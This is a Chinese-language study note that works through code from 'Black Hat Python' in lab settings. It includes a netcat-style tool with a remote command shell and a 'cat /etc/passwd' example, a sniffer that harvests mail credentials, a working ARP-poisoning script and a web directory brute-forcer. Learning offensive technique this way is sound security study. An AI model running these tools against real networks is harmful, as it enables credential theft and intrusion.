《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

本篇文章是学习《Python黑帽子:黑客与渗透测试编程之道》的笔记,会持续地将书上的代码自己敲一遍,从而让自己对Python的安全编程有更多的了解,同时希望各位可以给给建议,不足之处太多了。

第一章——设置Python环境:

Kali Linux的安装就不说了,最近有更新为2017版的可以下载。

确认是否安装了正确的Python版本:


确认是2.7版本的即可。

接着安装Python软件包管理工具easy_install和pip,由于之前安装过了所以显示如下:


接着安装github模块,并进行测试,没啥问题:


接着是安装WingIDE,由于个人使用习惯了使用Sublime Text就不再进行安装了。

关于Sublime Text的安装在之前那篇《Python基础编程与爬虫实现》中说过了,这里就不再多说了。


第二章——网络基础:

TCP客户端:

示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名,SOCK_STREAM参数表示是一个TCP客户端。访问的URL是百度。


 
 
  1. #coding=utf-8
  2. import socket
  3. target_host = "www.baidu.com"
  4. target_port = 80
  5. #建立一个socket对象
  6. client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  7. #连接客户端
  8. client.connect((target_host,target_port))
  9. #发送一些数据
  10. client.send( "GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")
  11. #接收一些数据
  12. response = client.recv( 4096)
  13. print response

运行结果:



UDP客户端:

与TCP客户端相比,将套接字的类型改为SOCK_DGRAM,然后调用sendto()函数发送数据,因为UDP是无连接的因此不需要调用connect()函数,最后使用recvfrom()函数接收返回的UDP数据包。


 
 
  1. #coding=utf-8
  2. import socket
  3. target_host = "127.0.0.1"
  4. target_port = 1234
  5. #建立一个socket对象
  6. client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  7. #发送一些数据
  8. client.sendto( "This is an UDP client",(target_host,target_port))
  9. #接收一些数据
  10. data, addr = client.recvfrom( 4096)
  11. print data
  12. print addr

运行结果:



TCP服务端:

这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. import threading
  5. bind_ip = "0.0.0.0"
  6. bind_port = 1234
  7. server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  8. server.bind((bind_ip,bind_port))
  9. server.listen( 5)
  10. print '[*] Listening on %s:%d'%(bind_ip,bind_port)
  11. #客户处理线程
  12. def handle_client(client_socket):
  13. #打印客户端发送得到的消息
  14. request = client_socket.recv( 1024)
  15. print "[*] Received: %s"%request
  16. #返回一个数据包
  17. client_socket.send( "ACK!")
  18. client_socket.close()
  19. while True:
  20. client, addr = server.accept()
  21. print "[*] Accepted connection from: %s:%d"%(addr[ 0],addr[ 1])
  22. #挂起客户端线程,处理传入数据
  23. client_handler = threading.Thread(target=handle_client,args=(client,))
  24. client_handler.start()

运行结果:



取代netcat:

rstrip() 删除 string 字符串末尾的指定字符(默认为空格)。

subprocess.check_output():父进程等待子进程完成,返回子进程向标准输出的输出结果。

getopt模块是专门处理命令行参数的。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import sys
  4. import socket
  5. import getopt
  6. import threading
  7. import subprocess
  8. #定义一些全局变量
  9. listen = False
  10. command = False
  11. upload = False
  12. execute = ""
  13. target = ""
  14. upload_destination = ""
  15. port = 0
  16. #使用帮助
  17. def usage():
  18. print "BHP Net Tool"
  19. print
  20. print "Usage: bhpnet.py -t target_host - p port"
  21. print "-l --listen - listen on [host]:[port] for incoming connections"
  22. print "-e --execute=file_to_run -execute the given file upon receiving a connection"
  23. print "-c --command - initialize a commandshell"
  24. print "-u --upload=destination - upon receiving connection upload a file and write to [destination]"
  25. print
  26. print
  27. print "Examples:"
  28. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
  29. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
  30. print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
  31. print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
  32. sys.exit( 0)
  33. def client_sender(buffer):
  34. client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  35. try:
  36. #连接到目标主机
  37. client.connect((target,port))
  38. if len(buffer):
  39. client.send(buffer)
  40. while True:
  41. #现在等待数据回传
  42. recv_len = 1
  43. response = ""
  44. while recv_len:
  45. data = client.recv( 4096)
  46. recv_len = len(data)
  47. response += data
  48. if recv_len < 4096:
  49. break
  50. print response,
  51. #等待更多的输入
  52. buffer = raw_input( "")
  53. buffer += "\n"
  54. #发送出去
  55. client.send(buffer)
  56. except:
  57. print "[*] Exception! Exiting. "
  58. #关闭连接
  59. client.close()
  60. def server_loop():
  61. global target
  62. #如果没有定义目标,那么我们监听所有的接口
  63. if not len(target):
  64. target = "0.0.0.0"
  65. server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  66. server.bind((target,port))
  67. server.listen( 5)
  68. while True:
  69. client_socket, addr = server.accept()
  70. #分拆一个线程处理新的客户端
  71. client_thread = threading.Thread(target=client_handler,args=(client_socket,))
  72. client_thread.start()
  73. def run_command(command):
  74. #换行
  75. command = command.rstrip()
  76. #运行命令并将输出返回
  77. try:
  78. output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell= True)
  79. except:
  80. output = "Failed to execute command. \r\n"
  81. #将输出发送
  82. return output
  83. def client_handler(client_socket):
  84. global upload
  85. global execute
  86. global command
  87. #检测上传文件
  88. if len(upload_destination):
  89. #读取所有的字符并写下目标
  90. file_buffer = ""
  91. #持续读取数据直到没有符合的数据
  92. while True:
  93. data = client_socket.recv( 1024)
  94. if not data:
  95. break
  96. else:
  97. file_buffer += data
  98. #现在我们接收这些数据并将他们写出来
  99. try:
  100. file_descriptor = open(upload_destination, "wb")
  101. file_descriptor.write(file_buffer)
  102. file_descriptor.close()
  103. #确认文件已经写出来
  104. client_socket.send( "Successfully saved file to %s\r\n"%upload_destination)
  105. except:
  106. client_socket.send( "Failed to save file to %s\r\n"%upload_destination)
  107. #检查命令执行
  108. if len(execute):
  109. #运行命令
  110. output = run_command(execute)
  111. client_socket.send(output)
  112. #如果需要一个命令行shell,那么我们进入另一个循环
  113. if command:
  114. while True:
  115. #跳出一个窗口
  116. client_socket.send( "<BHP:#> ")
  117. #现在我们接收文件直到发现换行符(enter key)
  118. cmd_buffer = ""
  119. while "\n" not in cmd_buffer:
  120. cmd_buffer += client_socket.recv( 1024)
  121. #返还命令输出
  122. response = run_command(cmd_buffer)
  123. #返回响应数据
  124. client_socket.send(response)
  125. def main():
  126. global listen
  127. global port
  128. global execute
  129. global command
  130. global upload_destination
  131. global target
  132. if not len(sys.argv[ 1:]):
  133. usage()
  134. #读取命令行选项
  135. try:
  136. opts, args = getopt.getopt(sys.argv[ 1:], "hle:t:p:cu:",[ "help", "listen", "execute", "target", "port", "command", "upload"])
  137. except getopt.GetoptError as err:
  138. print str(err)
  139. usage()
  140. for o,a in opts:
  141. if o in ( "-h", "--help"):
  142. usage()
  143. elif o in ( "-l", "--listen"):
  144. listen = True
  145. elif o in ( "-e", "--execute"):
  146. execute = a
  147. elif o in ( "-c", "--commandshell"):
  148. command = True
  149. elif o in ( "-u", "--upload"):
  150. upload_destination = a
  151. elif o in ( "-t", "--target"):
  152. target = a
  153. elif o in ( "-p", "--port"):
  154. port = int(a)
  155. else:
  156. assert False, "Unhandled Option"
  157. #我们是进行监听还是仅从标准输入发送数据?
  158. if not listen and len(target) and port > 0 :
  159. #从命令行读取内存数据
  160. #这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
  161. buffer = sys.stdin.read()
  162. #发送数据
  163. client_sender(buffer)
  164. #我们开始监听并准备上传文件、执行命令
  165. #放置一个反弹shell
  166. #取决于上面的命令行选项
  167. if listen:
  168. server_loop()
  169. main()

这里对程序说明一下:

usage()函数用于参数的说明帮助、当用户输入错误的参数时会输出相应的提示;

client_sender()函数用于与目标主机建立连接并交互数据直到没有更多的数据发送回来,然后等待用户下一步的输入并继续发送和接收数据,直到用户结束脚本运行;

server_loop()函数用于建立监听端口并实现多线程处理新的客户端;

run_command()函数用于执行命令,其中subprocess库提供多种与客户端程序交互的方法;

client_handler()函数用于实现文件上传、命令执行和与shell相关的功能,其中wb标识确保是以二进制的格式写入文件、从而确保上传和写入的二进制文件能够成功执行;

主函数main()中是先读取所有的命令行选项从而设置相应的变量,然后从标准输入中读取数据并通过网络发送数据,若需要交互式地发送数据需要发送CTRL-D以避免从标准输入中读取数据,若检测到listen参数为True则调用server_loop()函数准备处理下一步命令。

运行结果:

1、本地测试:


2、访问百度:


3、客户端Ubuntu访问,可以看到客户端访问时输入命令之后需要多输入一个换行符才可以输入成功从而看到输出结果:



创建一个TCP代理:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. import sys
  5. import threading
  6. def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
  7. server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  8. try:
  9. server.bind((local_host,local_port))
  10. except:
  11. print "[!!] Failed to listen on %s:%d"%(local_host,local_port)
  12. print "[!!] Check for other listening sockets or correct permissions. "
  13. sys.exit( 0)
  14. print "[*] Listening on %s:%d"%(local_host,local_port)
  15. server.listen( 5)
  16. while True:
  17. client_socket, addr = server.accept()
  18. # 打印出本地连接信息
  19. print "[==>] Received incoming connection from %s:%d"%(addr[ 0],addr[ 1])
  20. # 开启一个线程与远程主机通信
  21. proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
  22. proxy_thread.start()
  23. def proxy_handler(client_socket,remote_host,remote_port,receive_first):
  24. # 连接远程主机
  25. remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  26. remote_socket.connect((remote_host,remote_port))
  27. # 如果必要从远程主机接收数据
  28. if receive_first:
  29. remote_buffer = receive_from(remote_socket)
  30. hexdump(remote_buffer)
  31. # 发送给我们的响应数据
  32. remote_buffer = response_handler(remote_buffer)
  33. # 如果我们有数据传递给本地客户端,发送它
  34. if len(remote_buffer):
  35. print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)
  36. client_socket.send(remote_buffer)
  37. # 现在我们从本地循环读取数据,发送给远程主机和本地主机
  38. while True:
  39. # 从本地读取主机
  40. local_buffer = receive_from(client_socket)
  41. if len(local_buffer):
  42. print "[==>] Received %d bytes from localhost. "%len(local_buffer)
  43. hexdump(local_buffer)
  44. # 发送给我们的本地请求
  45. local_buffer = request_handler(local_buffer)
  46. # 向远程主机发送数据
  47. remote_socket.send(local_buffer)
  48. print "[==>] Sent to remote ."
  49. # 接受响应的数据
  50. remote_buffer = receive_from(remote_socket)
  51. if len(remote_buffer):
  52. print "[<==] Received %d bytes from remote . "%len(remote_buffer)
  53. hexdump(remote_buffer)
  54. # 发送到响应处理函数
  55. remote_buffer = response_handler(remote_buffer)
  56. # 将响应发送给本地socket
  57. client_socket.send(remote_buffer)
  58. print "[<==] Sent to localhost. "
  59. # 如果两边都没有数据,关闭连接
  60. if not len(local_buffer) or not len(remote_buffer):
  61. client_socket.close()
  62. remote_socket.close()
  63. print "[*] No more data. Closing cnnections. "
  64. break
  65. # 十六进制导出函数
  66. def hexdump(src,length=16):
  67. result = []
  68. digits = 4 if isinstance(src,unicode) else 2
  69. for i in xrange( 0,len(src),length):
  70. s = src[i:i+length]
  71. hexa = b' '.join([ "%0*X" % (digits,ord(x)) for x in s])
  72. text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
  73. result.append( b"%04X %-*s %s" % (i,length*(digits + 1),hexa,text))
  74. print b'\n'.join(result)
  75. def receive_from(connection):
  76. buffer = ""
  77. # 我们设置了两秒的超时,这取决于目标的情况,可能需要调整
  78. connection.settimeout( 2)
  79. try:
  80. # 持续从缓存中读取数据直到没有数据或超时
  81. while True:
  82. data = connection.recv( 4096)
  83. if not data:
  84. break
  85. buffer += data
  86. except:
  87. pass
  88. return buffer
  89. # 对目标是远程主机的请求进行修改
  90. def request_handler(buffer):
  91. # 执行包修改
  92. return buffer
  93. # 对目标是本地主机的响应进行修改
  94. def response_handler(buffer):
  95. # 执行包修改
  96. return buffer
  97. def main():
  98. # 没有华丽的命令行解析
  99. if len(sys.argv[ 1:]) != 5:
  100. print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "
  101. print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"
  102. sys.exit( 0)
  103. # 设置本地监听参数
  104. local_host = sys.argv[ 1]
  105. local_port = int(sys.argv[ 2])
  106. # 设置远程目标
  107. remote_host = sys.argv[ 3]
  108. remote_port = int(sys.argv[ 4])
  109. # 告诉代理在发送给远程主机之前连接和接收数据
  110. receive_first = sys.argv[ 5]
  111. if "True" in receive_first:
  112. receive_first = True
  113. else:
  114. receive_first = False
  115. # 现在设置好我们的监听socket
  116. server_loop(local_host,local_port,remote_host,remote_port,receive_first)
  117. main()

这里对每个函数说明一下:

proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去;
hexdump()函数仅输出数据包的十六进制值和可打印的ASCII码字符,对于了解未知的协议很有帮助,还能找到使用明文协议的认证信息等;
receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数;
request_handler()和response_handler()函数允许用来修改代理双向的数据流量;
server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
main主函数先读入命令行参数,然后调用服务端的server_loop()函数。
运行结果:


结果可以看到,其实和Wireshark等抓包工具的效果是差不多的。


通过Paramiko使用SSH:

首先需要安装paramiko模块:



这里先进行简单的测试,连接Metasploit2 的主机。


 
 
  1. #!/usr/bin/python
  2. import paramiko
  3. import threading
  4. import subprocess
  5. def ssh_command(ip,user,passwd,command):
  6. client = paramiko.SSHClient()
  7. #client.load_host_keys('/home/justin/.ssh/known_hosts')
  8. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9. client.connect(ip,username=user,password=passwd)
  10. ssh_session = client.get_transport().open_session()
  11. if ssh_session.active:
  12. ssh_session.exec_command(command)
  13. print ssh_session.recv( 1024)
  14. return
  15. ssh_command( '10.10.10.128', 'msfadmin', 'msfadmin', 'uname -a')

运行结果:

反向SSH:

bh_sshRcmd.py:

后面测试成功再补上

bh_sshserver.py:

后面测试成功再补上


SSH隧道:

后面测试成功再补上


第三章——网络:原始套接字和流量嗅探

Windows和Linux上的包嗅探:


 
 
  1. #!/usr/bin/python
  2. import socket
  3. import os
  4. #监听的主机
  5. host = "10.10.10.160"
  6. #创建原始套接字,然后绑定在公开接口上
  7. if os.name == "nt":
  8. socket_protocol = socket.IPPROTO_IP
  9. else:
  10. socket_protocol = socket.IPPROTO_ICMP
  11. sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
  12. sniffer.bind((host, 0))
  13. #设置在捕获的数据包中包含IP头
  14. sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL, 1)
  15. #在Windows平台上,我们需要设置IOCTL以启动混杂模式
  16. if os.name == "nt":
  17. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
  18. #读取单个数据包
  19. print sniffer.recvfrom( 65565)
  20. #在Windows平台上关闭混杂模式
  21. if os.name == "nt":
  22. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:



解码IP层:

源代码:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. import os
  5. import struct
  6. from ctypes import *
  7. #监听的主机
  8. host = "10.10.10.160"
  9. #IP头定义
  10. class IP(Structure):
  11. """docstring for IP"""
  12. _fields_ = [
  13. ( "ihl", c_ubyte, 4),
  14. ( "version", c_ubyte, 4),
  15. ( "tos", c_ubyte),
  16. ( "len", c_ushort),
  17. ( "id", c_ushort),
  18. ( "offset", c_ushort),
  19. ( "ttl", c_ubyte),
  20. ( "protocol_num", c_ubyte),
  21. ( "sum", c_ushort),
  22. ( "src", c_ulong),
  23. ( "dst", c_ulong)
  24. ]
  25. def __new__(self,socket_buffer=None):
  26. return self.from_buffer_copy(socket_buffer)
  27. def __init__(self, socket_buffer=None):
  28. #协议字段与协议名称对应
  29. self.protocol_map = { 1: "ICMP", 6: "TCP", 17: "UDP"}
  30. #可读性更强的IP地址
  31. self.src_address = socket.inet_ntoa(struct.pack( "<L",self.src))
  32. self.dst_address = socket.inet_ntoa(struct.pack( "<L",self.dst))
  33. #协议类型
  34. try:
  35. self.protocol = self.protocol_map[self.protocol_num]
  36. except:
  37. self.protocol = str(self.protocol_num)
  38. #下面的代码类似于之前的例子
  39. if os.name == "nt":
  40. socket_protocol = socket.IPPROTO_IP
  41. else:
  42. socket_protocol = socket.IPPROTO_ICMP
  43. sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
  44. sniffer.bind((host, 0))
  45. sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL, 1)
  46. if os.name == "nt":
  47. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
  48. try:
  49. while True:
  50. #读取数据包
  51. raw_buffer = sniffer.recvfrom( 65565)[ 0]
  52. #将缓冲区的前20个字节按IP头进行解析
  53. ip_header = IP(raw_buffer[ 0: 20])
  54. #输出协议和通信双方IP地址
  55. print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
  56. #处理CTRL-C
  57. except KeyboardInterrupt:
  58. #如果运行在Windows上,关闭混杂模式
  59. if os.name == "nt":
  60. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:

Win10上用户有管理员权限执行cmd所以会报错:


XP下将host改为XP地址即可:

Kali下运行会出错,主要是因为32位与64位之间的一些问题:


解决方案:http://stackoverflow.com/questions/29306747/python-sniffing-from-black-hat-python-book

改进的可在Kali中运行的代码:


 
 
  1. #!/usr/bin/python
  2. import socket
  3. import os
  4. import struct
  5. from ctypes import *
  6. #监听的主机
  7. host = "10.10.10.160"
  8. #IP头定义
  9. class IP(Structure):
  10. """docstring for IP"""
  11. _fields_ = [
  12. ( "ihl", c_ubyte, 4),
  13. ( "version", c_ubyte, 4),
  14. ( "tos", c_ubyte),
  15. ( "len", c_ushort),
  16. ( "id", c_ushort),
  17. ( "offset", c_ushort),
  18. ( "ttl", c_ubyte),
  19. ( "protocol_num", c_ubyte),
  20. ( "sum", c_ushort),
  21. ( "src", c_uint32),
  22. ( "dst", c_uint32)
  23. ]
  24. def __new__(self,socket_buffer=None):
  25. return self.from_buffer_copy(socket_buffer)
  26. def __init__(self, socket_buffer=None):
  27. #协议字段与协议名称对应
  28. self.protocol_map = { 1: "ICMP", 6: "TCP", 17: "UDP"}
  29. #可读性更强的IP地址
  30. self.src_address = socket.inet_ntoa(struct.pack( "@I",self.src))
  31. self.dst_address = socket.inet_ntoa(struct.pack( "@I",self.dst))
  32. #协议类型
  33. try:
  34. self.protocol = self.protocol_map[self.protocol_num]
  35. except:
  36. self.protocol = str(self.protocol_num)
  37. #下面的代码类似于之前的例子
  38. if os.name == "nt":
  39. socket_protocol = socket.IPPROTO_IP
  40. else:
  41. socket_protocol = socket.IPPROTO_ICMP
  42. sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
  43. sniffer.bind((host, 0))
  44. sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL, 1)
  45. if os.name == "nt":
  46. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
  47. try:
  48. while True:
  49. #读取数据包
  50. raw_buffer = sniffer.recvfrom( 65565)[ 0]
  51. #将缓冲区的前20个字节按IP头进行解析
  52. ip_header = IP(raw_buffer[ 0: 20])
  53. #输出协议和通信双方IP地址
  54. print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
  55. #处理CTRL-C
  56. except KeyboardInterrupt:
  57. #如果运行在Windows上,关闭混杂模式
  58. if os.name == "nt":
  59. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

运行结果:



解码ICMP:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import socket
  4. import os
  5. import struct
  6. from ctypes import *
  7. host = "10.10.10.160"
  8. class IP(Structure):
  9. """docstring for IP"""
  10. _fields_ = [
  11. ( "ihl", c_ubyte, 4),
  12. ( "version", c_ubyte, 4),
  13. ( "tos", c_ubyte),
  14. ( "len", c_ushort),
  15. ( "id", c_ushort),
  16. ( "offset", c_ushort),
  17. ( "ttl", c_ubyte),
  18. ( "protocol_num", c_ubyte),
  19. ( "sum", c_ushort),
  20. ( "src", c_ulong),
  21. ( "dst", c_ulong)
  22. ]
  23. def __new__(self,socket_buffer=None):
  24. return self.from_buffer_copy(socket_buffer)
  25. def __init__(self, socket_buffer=None):
  26. self.protocol_map = { 1: "ICMP", 6: "TCP", 17: "UDP"}
  27. self.src_address = socket.inet_ntoa(struct.pack( "<L",self.src))
  28. self.dst_address = socket.inet_ntoa(struct.pack( "<L",self.dst))
  29. try:
  30. self.protocol = self.protocol_map[self.protocol_num]
  31. except:
  32. self.protocol = str(self.protocol_num)
  33. class ICMP(Structure):
  34. """docstring for ICMP"""
  35. _fields_ = [
  36. ( "type", c_ubyte),
  37. ( "code", c_ubyte),
  38. ( "checksum", c_ushort),
  39. ( "unused", c_ushort),
  40. ( "next_hop_mtu", c_ushort)
  41. ]
  42. def __new__(self,socket_buffer):
  43. return self.from_buffer_copy(socket_buffer)
  44. def __new__(self,socket_buffer):
  45. pass
  46. if os.name == "nt":
  47. socket_protocol = socket.IPPROTO_IP
  48. else:
  49. socket_protocol = socket.IPPROTO_ICMP
  50. sniffer = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)
  51. sniffer.bind((host, 0))
  52. sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL, 1)
  53. if os.name == "nt":
  54. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
  55. try:
  56. while True:
  57. raw_buffer = sniffer.recvfrom( 65565)[ 0]
  58. ip_header = IP(raw_buffer[ 0: 20])
  59. print "Protocol : %s %s -> %s"%(ip_header.protocol,ip_header.src_address,ip_header.dst_address)
  60. #如果为ICMP,进行处理
  61. if ip_header.protocol == "ICMP":
  62. #计算ICMP包的起始位置
  63. offset = ip_header.ihl* 4
  64. buf = raw_buffer[offset:offset + sizeof(ICMP)]
  65. #解析ICMP数据
  66. icmp_header = ICMP(buf)
  67. print "ICMP -> Type : %d Code : %d"%(icmp_header.type,icmp_header.code)
  68. except KeyboardInterrupt:
  69. if os.name == "nt":
  70. sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

但是结果并不能正常解析ICMP,排查的结果是代码中变量buf为None:


这个问题求各位大神给点指点。。。

后面测试成功再补上


第四章——Scapy:网络的掌控者

窃取email认证:

测试代码:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from scapy.all import *
  4. #数据包回调函数
  5. def packet_callback(packet):
  6. print packet.show()
  7. #开启嗅探器
  8. sniff(prn=packet_callback,count= 1)

运行结果:

mail_sniffer.py:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from scapy.all import *
  4. #数据包回调函数
  5. def packet_callback(packet):
  6. # print packet.show()
  7. if packet[TCP].payload:
  8. mail_packet = str(packet[TCP].payload)
  9. if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
  10. print "[*] Server: %s"%packet[IP].dst
  11. print "[*] %s"%packet[TCP].payload
  12. #开启嗅探器
  13. sniff(filter= "tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store= 0)
运行结果:





改为嗅探http中账号密码:


运行结果:



利用Scapy进行ARP缓存投毒:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. from scapy.all import *
  4. import os
  5. import sys
  6. import threading
  7. import signal
  8. def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
  9. #以下代码中调用send函数的方式稍有不同
  10. print "[*] Restoring target... "
  11. send(ARP(op= 2,psrc=gateway_ip,pdst=target_ip,hwdst= "ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count= 5)
  12. send(ARP(op= 2,psrc=target_ip,pdst=gateway_ip,hwdst= "ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count= 5)
  13. #发送退出信号到主线程
  14. os.kill(os.getpid(),signal.SIGINT)
  15. def get_mac(ip_address):
  16. responses,unanswered = srp(Ether(dst= "ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout= 2,retry= 10)
  17. #返回从响应数据中获取的Mac地址
  18. for s,r in responses:
  19. return r[Ether].src
  20. return None
  21. def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
  22. poison_target = ARP()
  23. poison_target.op = 2
  24. poison_target.psrc = gateway_ip
  25. poison_target.pdst = target_ip
  26. poison_target.hwdst = target_mac
  27. poison_gateway = ARP()
  28. poison_gateway.op = 2
  29. poison_gateway.psrc = target_ip
  30. poison_gateway.pdst = gateway_ip
  31. poison_gateway.hwdst = gateway_mac
  32. print "[*] Beginning the ARP poison. [CTRL-C to stop]"
  33. while True:
  34. try:
  35. send(poison_target)
  36. send(poison_gateway)
  37. time.sleep( 2)
  38. except KeyboardInterrupt:
  39. restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  40. print "[*] ARP poison attack finished. "
  41. return
  42. interface = "eth0"
  43. target_ip = "10.10.10.134"
  44. gateway_ip = "10.10.10.2"
  45. packet_count = 1000
  46. #设置嗅探的网卡
  47. conf.iface = interface
  48. #关闭输出
  49. conf.verb = 0
  50. print "[*] Setting up %s"%interface
  51. gateway_mac = get_mac(gateway_ip)
  52. if gateway_mac is None:
  53. print "[!!!] Failed to get gateway MAC. Exiting. "
  54. sys.exit( 0)
  55. else:
  56. print "[*] Gateway %s is at %s"%(gateway_ip,gateway_mac)
  57. target_mac = get_mac(target_ip)
  58. if target_mac is None:
  59. print "[!!!] Failed to get target MAC. Exiting. "
  60. sys.exit( 0)
  61. else:
  62. print "[*] Target %s is at %s"%(target_ip,target_mac)
  63. #启动ARP投毒攻击
  64. poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
  65. poison_thread.start()
  66. try:
  67. print "[*] Starting sniffer for %d packets"%packet_count
  68. bpf_filter = "ip host %s"%target_ip
  69. packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
  70. #将捕获到的数据包输出到文件
  71. wrpcap( 'arper.pcap',packets)
  72. #还原网络配置
  73. restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  74. except KeyboardInterrupt:
  75. #还原网络配置
  76. restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
  77. sys.exit( 0)

对win7进行ARP投毒攻击之前:



进行攻击之后:


可以看到,win7的网关10.10.10.2的Mac地址改为了Kali Linux的Mac地址了,即ARP投毒攻击成功。


处理PCAP文件:

后面测试成功再补上


第五章——Web攻击:

Web的套接字函数库:urllib2

一开始以urllib2.py命名脚本,在Sublime Text中运行会出错,纠错后发现是重名了,改过来就好:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import urllib2
  4. url = "http://www.baidu.com"
  5. headers = {}
  6. headers[ 'User-Agent'] = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
  7. request = urllib2.Request(url,headers=headers)
  8. response = urllib2.urlopen(request)
  9. print response.read()
  10. response.close()
  11. # body = urllib2.urlopen("http://www.baidu.com")
  12. # print body.read()

运行结果:


放在Python的shell环境中运行:


注意到由于有中文,所以为了避免出现乱码就在调用了read()函数之后再调用decode("utf-8")来进行utf-8的字符解密。


开源Web应用安装:

这里的前提是Web服务器使用的是开源CMS来建站的,而且自己也下载了一套相应的开源代码。

这里使用盾灵的CMS吧,可以直接在网上下载,其界面如图:


接着直接上代码吧:


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import Queue
  4. import threading
  5. import os
  6. import urllib2
  7. threads = 10
  8. target = "http://10.10.10.144/dunling"
  9. directory = "/dunling"
  10. filters = [ ".jpg", ".gif", ".png", ".css"]
  11. os.chdir(directory)
  12. web_paths = Queue.Queue()
  13. for r,d,f in os.walk( "."):
  14. for files in f:
  15. remote_path = "%s/%s"%(r,files)
  16. if remote_path.startswith( "."):
  17. remote_path = remote_path[ 1:]
  18. if os.path.splitext(files)[ 1] not in filters:
  19. web_paths.put(remote_path)
  20. def test_remote():
  21. while not web_paths.empty():
  22. path = web_paths.get()
  23. url = "%s%s"%(target,path)
  24. request = urllib2.Request(url)
  25. try:
  26. response = urllib2.urlopen(request)
  27. content = response.read()
  28. print "[%d] => %s"%(response.code,path)
  29. response.close()
  30. except urllib2.HTTPError as error:
  31. # print "Failed %s"%error.code
  32. pass
  33. for i in range(threads):
  34. print "Spawning thread : %d"%i
  35. t = threading.Thread(target=test_remote)
  36. t.start()

运行结果:



暴力破解目录和文件位置:

先下载SVNDigger的第三方暴力破解工具的字典:https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/

将其中的all.txt文件放到相应的目录以备调用,这里就和示例一样放到/tmp目录中。


 
 
  1. #!/usr/bin/python
  2. #coding=utf-8
  3. import urllib2
  4. import threading
  5. import Queue
  6. import urllib
  7. threads = 50
  8. target_url = "http://testphp.vulnweb.com"
  9. wordlist_file = "/tmp/all.txt" # from SVNDigger
  10. resume = None
  11. user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
